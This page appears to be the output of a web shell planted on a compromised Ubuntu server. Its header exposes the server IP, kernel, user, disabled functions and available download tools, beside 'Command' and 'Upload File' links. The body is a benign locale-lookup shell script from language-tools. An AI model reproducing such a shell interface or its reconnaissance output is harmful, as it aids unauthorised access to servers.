|
Server IP : 128.199.20.84 / Your IP : 172.69.17.63 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/doc/python3-incremental/../python3-debian/../../language-tools/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
#!/bin/sh -pe
#
# - takes the first choice language in the LANGUAGE priority list as argument
# - outputs locale name corresponding to that language
lang=$1
locale_name=
test -n "$lang" || exit 1
# remove codeset if any
if [ "$lang" != "${lang%.*}" ]; then
lang=$( echo $lang | sed -r 's/([^.]+)[^@]+(.*)/\1\2/' )
fi
langtoolsdir=/usr/share/language-tools
langcode=${lang%%[_@]*}
locales=
for loc in $( locale -a | grep -F .utf8 ); do
# skip locales for other languages
if [ $langcode = ${loc%%[._@]*} ]; then
loc=${loc%.*}${loc#*.utf8}
locales="$locales $loc"
fi
done
# exact match
for loc in $locales; do
if [ $lang = $loc ]; then
locale_name=$( echo $loc | sed -r 's/([^@]+)/\1.UTF-8/' )
break
fi
done
if [ -z "$locale_name" -a $lang = ${lang%_[A-Z]*} ]; then
# try the "main" country code if any
main_country=
while read line; do
if [ "${line%%[[:space:]]*}" = $langcode ]; then
main_country=${line##*[[:space:]]}
if [ $lang != ${lang#*@} ]; then
main_country=$main_country@${lang#*@}
fi
break
fi
done < $langtoolsdir/main-countries
if [ -n "$main_country" ]; then
for loc in $locales; do
if [ $main_country = $loc ]; then
locale_name=$( echo $loc | sed -r 's/([^@]+)/\1.UTF-8/' )
break
fi
done
fi
# try out fitting locale with any country code
if [ -z "$locale_name" -a $langcode != 'zh' ]; then
for loc in $locales; do
if [ "${loc%%[_@]*}" = $langcode ]; then
locale_name=$( echo $loc | sed -r 's/([^@]+)/\1.UTF-8/' )
break
fi
done
fi
fi
echo $locale_name